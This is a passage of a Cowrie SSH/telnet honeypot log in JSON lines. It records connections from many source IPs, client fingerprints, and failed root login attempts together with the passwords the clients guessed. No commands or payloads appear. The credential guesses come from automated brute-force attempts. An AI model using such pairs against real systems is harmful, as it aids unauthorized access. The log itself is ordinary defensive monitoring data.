{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:09.956063Z","src_ip":"186.122.177.140","session":"8132b5d9b23e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hwang","message":"login attempt [root/hwang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:10.882064Z","src_ip":"186.122.177.140","session":"8132b5d9b23e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:12.129144Z","src_ip":"186.122.177.140","session":"8132b5d9b23e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50430,"dst_ip":"10.17.0.5","dst_port":23,"session":"fccf7128b64e","protocol":"telnet","message":"New connection: 192.119.13.58:50430 (10.17.0.5:23) [session: fccf7128b64e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:14.178442Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.243.239.219","src_port":3072,"dst_ip":"10.17.0.5","dst_port":22,"session":"742f261bf0fb","protocol":"ssh","message":"New connection: 74.243.239.219:3072 (10.17.0.5:22) [session: 742f261bf0fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:19.930904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:19.936510Z","src_ip":"74.243.239.219","session":"742f261bf0fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:20.108320Z","src_ip":"74.243.239.219","session":"742f261bf0fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asterisk","message":"login attempt [root/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:20.811353Z","src_ip":"74.243.239.219","session":"742f261bf0fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.196752548217773,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:21.953504Z","src_ip":"45.130.162.67","session":"a343b0b5e422","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:21.982951Z","src_ip":"74.243.239.219","session":"742f261bf0fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":49252,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e7fc434aae8","protocol":"ssh","message":"New connection: 92.207.4.157:49252 (159.203.135.109:22) [session: 3e7fc434aae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:23.657054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:23.663437Z","src_ip":"92.207.4.157","session":"3e7fc434aae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.9522168636322,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:23.702434Z","src_ip":"192.119.13.58","session":"b8cb785cd359","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:23.773974Z","src_ip":"92.207.4.157","session":"3e7fc434aae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"energystar","message":"login attempt [root/energystar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:24.251776Z","src_ip":"92.207.4.157","session":"3e7fc434aae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:25.368443Z","src_ip":"92.207.4.157","session":"3e7fc434aae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.86011004447937,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:32.010038Z","src_ip":"192.119.13.58","session":"e8b08f58cdb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.56.225.202","src_port":35512,"dst_ip":"159.203.135.109","dst_port":22,"session":"49bba3e822ef","protocol":"ssh","message":"New connection: 207.56.225.202:35512 (159.203.135.109:22) [session: 49bba3e822ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:33.332273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:33.337573Z","src_ip":"207.56.225.202","session":"49bba3e822ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:33.503601Z","src_ip":"207.56.225.202","session":"49bba3e822ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456789","message":"login attempt [root/abc123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:34.196236Z","src_ip":"207.56.225.202","session":"49bba3e822ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":45502,"dst_ip":"159.203.135.109","dst_port":22,"session":"83a2700c5687","protocol":"ssh","message":"New connection: 165.154.23.26:45502 (159.203.135.109:22) [session: 83a2700c5687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:34.311022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:34.316031Z","src_ip":"165.154.23.26","session":"83a2700c5687","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":38122,"dst_ip":"159.203.135.109","dst_port":22,"session":"95672cf64f55","protocol":"ssh","message":"New connection: 37.143.61.84:38122 (159.203.135.109:22) [session: 95672cf64f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:34.356894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:34.362127Z","src_ip":"37.143.61.84","session":"95672cf64f55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:34.484398Z","src_ip":"37.143.61.84","session":"95672cf64f55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:34.532335Z","src_ip":"165.154.23.26","session":"83a2700c5687","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlcvlc","message":"login attempt [root/vlcvlc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:35.075183Z","src_ip":"37.143.61.84","session":"95672cf64f55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:35.373938Z","src_ip":"207.56.225.202","session":"49bba3e822ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!123","message":"login attempt [root/admin!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:35.422838Z","src_ip":"165.154.23.26","session":"83a2700c5687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:36.195037Z","src_ip":"37.143.61.84","session":"95672cf64f55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:36.644937Z","src_ip":"165.154.23.26","session":"83a2700c5687","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.105.130.18","src_port":48624,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5605d4186bc","protocol":"ssh","message":"New connection: 77.105.130.18:48624 (159.203.135.109:22) [session: b5605d4186bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:38.140282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:38.145632Z","src_ip":"77.105.130.18","session":"b5605d4186bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:38.249177Z","src_ip":"77.105.130.18","session":"b5605d4186bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2017","message":"login attempt [root/2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:38.679927Z","src_ip":"77.105.130.18","session":"b5605d4186bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.176.251","src_port":39032,"dst_ip":"159.203.135.109","dst_port":22,"session":"9748beaea68e","protocol":"ssh","message":"New connection: 43.135.176.251:39032 (159.203.135.109:22) [session: 9748beaea68e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:39.599262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:39.603797Z","src_ip":"43.135.176.251","session":"9748beaea68e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:39.672538Z","src_ip":"43.135.176.251","session":"9748beaea68e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:39.783814Z","src_ip":"77.105.130.18","session":"b5605d4186bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"energystar","message":"login attempt [root/energystar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:39.982854Z","src_ip":"43.135.176.251","session":"9748beaea68e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.241.230","src_port":37912,"dst_ip":"159.203.135.109","dst_port":22,"session":"33d8e38b2be5","protocol":"ssh","message":"New connection: 49.51.241.230:37912 (159.203.135.109:22) [session: 33d8e38b2be5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:40.519208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:40.524061Z","src_ip":"49.51.241.230","session":"33d8e38b2be5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openss